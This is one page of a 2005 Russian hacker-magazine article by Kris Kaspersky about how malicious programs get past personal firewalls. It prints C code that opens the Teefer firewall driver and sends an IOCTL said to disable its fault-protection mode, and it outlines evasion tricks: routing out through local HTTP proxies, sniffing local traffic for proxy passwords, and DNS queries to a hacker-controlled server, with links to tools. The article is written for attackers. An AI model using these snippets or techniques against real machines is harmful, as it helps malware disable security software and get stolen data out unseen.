Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #58, СЕНТЯБРЬ 2005 г.

Полоса препятствий

Крис Касперски

Спецвыпуск: Хакер, номер #058, стр. 058-058-3


SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR);

На следующем шаге выполняется код, отключающий режим защиты от сбоев:

DWORD ret; char buffer[8];

DWORD *ptr = (DWORD *)buffer;

DWORD *ptr2 = (DWORD *)(buffer + 4);

hDevice = CreateFile("\\\\.\\Teefer",

GENERIC_WRITE | GENERIC_READ,

FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE){

printf("Open failed\n");

return -1;

}

*ptr = 0; *ptr2 = 0;

if (DeviceIoControl(hDevice, 0x212094, buffer,

8,buffer,8,&ret,0))

printf("Sent.\n");

CloseHandle(hDevice);

Другие брандмауэры также имеют уязвимости, перечень которых можно найти на любом сайте по безопасности. Тем не менее, эти дыры не представляют какой-либо практической ценности, поскольку написать вирус, поддерживающий все типы брандмауэров, довольно затруднительно (а их количество с каждым годом все растет и растет). К тому же однажды обнаруженная дыра через некоторое время затыкается.

Можно, конечно, зайти с другой стороны и объявить войну пакетным фильтрам: выгрузить драйверы мини-портов, отключить систему фильтрации или обратиться к tcpip.sys/NDIS напрямую, но... все это слишком сложно и непереносимо. То, что работает в NT, не сможет работать в 9x и наоборот. Наибольший интерес представляют универсальные методики, работающие на прикладном уровне и не требующие навыков системного программирования.

Проблему с обратной петлей уже упомянули. Если на компьютере установлен proxy, через него может выходить кто угодно. В частности, HTTP-Proxy обычно висят на 80, 8080 или 8081 порту, поэтому их очень легко обнаружить. Правда, в некоторых случаях они защищены паролем и зловредному приложению приходится запускать снифер или устанавливать свой собственный пакетный фильтр и грабить локальный трафик на предмет поиска паролей.

Если на компьютере нет никаких proxy, можно попробовать послать DNS-запрос на подконтрольный хакеру сервер (кстати, он может находиться и на динамическом IP). Практически все брандмауэры спокойно пропускают такие запросы, не выдавая никаких предостерегающих сообщений и не обращаясь к пользователю за подтверждением. Конкретный пример можно найти в утилите DNS-tester, исходный код которой лежит на глухом безымянном сайте www.klake.org/~jt/misc/dnstest.zip. А здесь расположен альтернативный вариант, использующий запрос DnsQuery: www.klake.org/~jt/misc/dnstester.zip. Такую атаку выдерживает только Zone Alarm и Jetico. Но, как гласит народная мудрость, на каждого Муромца найдется свой Змей-Горыныч. Ну, если не Змей, так червь точно :).

Назад на стр. 058-058-2  Содержание  Вперед на стр. 058-058-4